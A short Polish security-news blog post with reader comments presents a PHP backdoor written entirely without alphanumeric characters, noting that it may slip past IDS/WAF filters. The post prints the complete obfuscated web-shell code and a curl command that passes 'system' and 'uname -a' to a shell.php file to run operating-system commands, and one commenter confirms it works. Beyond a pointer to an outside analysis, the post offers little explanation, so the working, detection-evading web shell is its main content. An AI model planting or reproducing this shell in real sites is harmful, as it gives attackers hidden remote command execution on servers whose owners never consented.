12.09.2013 | 18:32

Adam Haertle

Tylna furtka w PHP bez znaków alfanumerycznych

Również bez cudzysłowów, funkcji, stałych… Ciekawe, ile systemów typu IDS/WAF może ominąć. Wygląda tak:

@$_[]=@!+_; $__=@${_}>>$_;$_[]=$__;$_[]=@_;$_[((++$__)+($__++ ))].=$_;
$_[]=++$__; $_[]=$_[--$__][$__>>$__];$_[$__].=(($__+$__)+ $_[$__-$__]).($__+$__+$__)+$_[$__-$__];
$_[$__+$__] =($_[$__][$__>>$__]).($_[$__][$__]^$_[$__][($__<<$__)-$__] );
$_[$__+$__] .=($_[$__][($__<<$__)-($__/$__)])^($_[$__][$__] );
$_[$__+$__] .=($_[$__][$__+$__])^$_[$__][($__<<$__)-$__ ];
$_=$ 
$_[$__+ $__] ;$_[@-_]($_[@!+_] );

a używa się jej tak:

$ curl 'http://127.0.0.1:9999/shell.php?0=system&1=uname%20-a'

Nasza wiedza nie wystarcza, by zrozumieć jej działanie, dlatego odsyłamy do wyjaśnienia opisanego przez firmę Sucuri.

 

Powrót

Komentarze

  • 2013.09.12 18:43 chesteroni

    W końcu ktoś znalazł praktyczne użycie dla nienowej idei PHP non-alpha :-)
    A co do WAFów itp – jak można kod wstrzyknąć to aż tak wielkiej różnicy chyba nie robi, czy jest obfuskowany, czy nie – zwykle da się przejąć kontrolę gdy można wykonywać swój kod.

    Odpowiedz
  • 2013.09.12 19:50 kravietz

    Tytuł jest trochę mylący bo sugeruje backdoor w samym PHP, a mowa jest o exploicie wykorzystującym dziurę dającą dostęp do poleceń systemu operacyjnego.

    Odpowiedz
    • 2013.09.12 19:57 Adam

      „Napisana w PHP” brzmiało strasznie „nietytułowo”. Ale gdyby była „tylna furtka w assemblerze” to by chyba już nie było wątpliwości :)

      Odpowiedz
      • 2013.09.18 19:35 Jan

        Jakby była tylna furtka w aseblerze to trzeba by użyć innego asemblera, gożej jakby była w Asemblerze…

        Odpowiedz
  • 2013.09.12 20:15 Paweł

    Nice!

    Odpowiedz
  • 2013.09.15 10:36 Radek

    Bardzo fajny pomysł i w dodatku działa.

    Odpowiedz

Zostaw odpowiedź

Jeśli chcesz zwrócić uwagę na literówkę lub inny błąd techniczny, zapraszamy do formularza kontaktowego. Reagujemy równie szybko.

Tylna furtka w PHP bez znaków alfanumerycznych

Komentarze